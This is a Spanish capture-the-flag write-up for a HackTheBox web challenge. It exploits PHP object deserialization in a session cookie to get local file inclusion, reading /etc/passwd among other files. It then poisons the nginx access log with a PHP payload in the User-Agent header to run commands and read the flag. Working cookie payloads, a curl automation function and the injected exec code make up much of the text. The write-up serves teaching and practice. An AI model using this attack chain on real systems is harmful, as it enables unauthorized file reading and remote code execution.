Toxic
5 minutos de lectura
Se nos proporciona un sitio web como este:
También se tenemos el código fuente del servidor en PHP.
Análisis del código fuente
Este es index.php
:
<?php
spl_autoload_register(function ($name){
if (preg_match('/Model$/', $name))
{
$name = "models/${name}";
}
include_once "${name}.php";
});
if (empty($_COOKIE['PHPSESSID']))
{
$page = new PageModel;
$page->file = '/www/index.html';
setcookie(
'PHPSESSID',
base64_encode(serialize($page)),
time()+60*60*24,
'/'
);
}
$cookie = base64_decode($_COOKIE['PHPSESSID']);
unserialize($cookie);
Como podemos ver, el servidor codifica una página (/www/index.html
por defecto) en la cookie PHPSESSID
, y también la serializa:
Echemos un vistazo a PageModel.php
:
<?php
class PageModel
{
public $file;
public function __destruct()
{
include($this->file);
}
}
Esta función toma el atributo file
y utiliza include
para imprimir y ejecutar cualquier código PHP presente en el archivo incluido. El método __destruct_
se llama cuando la cookie se deserializa.
Inclusión de Archivos Locales
Como resultado, la cookie se puede usar para leer archivos arbitrarios del servidor. Por ejemplo:
Obsérvese que necesitamos establecer los campos de longitud correctamente en la cookie serializada. Si ahora actualizamos la página y obtendremos /etc/passwd
:
En este punto podemos cambiar a curl
:
$ curl 94.237.49.138:57007 -sb "PHPSESSID=$(echo -n 'O:9:"PageModel":1:{s:4:"file";s:11:"/etc/passwd";}' | base64)"
root:x:0:0:root:/root:/bin/ash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
man:x:13:15:man:/usr/man:/sbin/nologin
postmaster:x:14:12:postmaster:/var/mail:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
at:x:25:25:at:/var/spool/cron/atjobs:/sbin/nologin
squid:x:31:31:Squid:/var/cache/squid:/sbin/nologin
xfs:x:33:33:X Font Server:/etc/X11/fs:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
cyrus:x:85:12::/usr/cyrus:/sbin/nologin
vpopmail:x:89:89::/var/vpopmail:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
smmsp:x:209:209:smmsp:/var/spool/mqueue:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
www:x:1000:1000:1000:/home/www:/bin/sh
nginx:x:100:101:nginx:/var/lib/nginx:/sbin/nologin
Y para simplificar, podemos envolver todo en una función de shell:
$ function lfi () {
n=$(echo -n "$1" | wc -c | tr -d ' ')
c=$(echo -n "O:9:\"PageModel\":1:{s:4:\"file\";s:$n:\"$1\";}" | base64)
curl 94.237.49.138:57007 -sb "PHPSESSID=$c"
}
$ lfi /etc/hosts
# Kubernetes-managed hosts file.
127.0.0.1 localhost
::1 localhost ip6-localhost ip6-loopback
fe00::0 ip6-localnet
fe00::0 ip6-mcastprefix
fe00::1 ip6-allnodes
fe00::2 ip6-allrouters
192.168.7.91 ng-532274-webdartfrog-szp8m-69d9ddf64-ljhdw
Por lo tanto, tenemos una Inclusión de Archivos Locales (LFI), donde podemos leer cualquier archivo siempre que sepamos su ruta absoluta. Además, podemos ejecutar cualquier código PHP que aparezca dentro de un archivo, porque include
también ejecuta PHP.
En el Dockerfile
y más concretamente en entrypoint.sh
, vemos que el archivo de la flag
se renombra a flag_<aleatorio>
:
#!/bin/ash
# Secure entrypoint
chmod 600 /entrypoint.sh
# Generate random flag filename
mv /flag /flag_`cat /dev/urandom | tr -dc 'a-zA-Z0-9' | fold -w 5 | head -n 1`
exec "$@"
La mejor manera de evitar conocer el nombre completo para leer el archivo es usar wildcards. (por ejemplo flag*
). Sin embargo, include
en PHP no admite esta característica. Por lo tanto, necesitamos obtener ejecución de comandos.
Envenenamiento de Logs
Hay una forma de explotar LFI para obtener RCE (ejecución remota de comandos) a través del Envenenamiento de Logs (el nombre del reto es una pista). La idea es incluir un archivo de log, donde controlemos algún campo de información. Por ejemplo, /var/log/nginx/access.log
:
$ lfi /var/log/nginx/access.log | tail
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
Sabemos esto de config/nginx.conf
:
log_format docker '$remote_addr $remote_user $status "$request" "$http_referer" "$http_user_agent" ';
access_log /var/log/nginx/access.log docker;
Como se puede ver, podemos controlar el contenido de la cabecera User-Agent
. Vamos a incluir esto en la función lfi
y lo probamos:
$ function lfi () {
n=$(echo -n "$1" | wc -c | tr -d ' ')
c=$(echo -n "O:9:\"PageModel\":1:{s:4:\"file\";s:$n:\"$1\";}" | base64)
curl 94.237.49.138:57007 -sb "PHPSESSID=$c" -A "$2"
}
$ lfi /var/log/nginx/access.log asdf | tail
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
$ lfi /var/log/nginx/access.log | tail
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "curl/8.6.0"
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "asdf"
$ lfi /var/log/nginx/access.log | grep asdf
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "asdf"
Perfecto. Ahora podemos inyectar código PHP en la cabecera User-Agent
, para que se imprima en el log. Además, podremos ejecutarlo con include
debido a la vulnerabilidad de LFI.
Hay que tener mucho cuidado al inyectar el código PHP. Si tenemos un error de sintaxis, todo el ataque de Envenenamiento de Logs ya no será posible.
Simplemente, ejecutaremos el siguiente código PHP para leer la flag:
<?php echo exec('cat /flag*'); ?>
Flag
Si usamos el payload anterior, veremos la flag en el log:
$ lfi /var/log/nginx/access.log "<?php echo exec('cat /flag*'); ?>" | tail -1
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "asdf"
$ lfi /var/log/nginx/access.log | tail -1
10.30.12.140 - 200 "GET / HTTP/1.1" "-" "HTB{P0i5on_1n_Cyb3r_W4rF4R3?!}"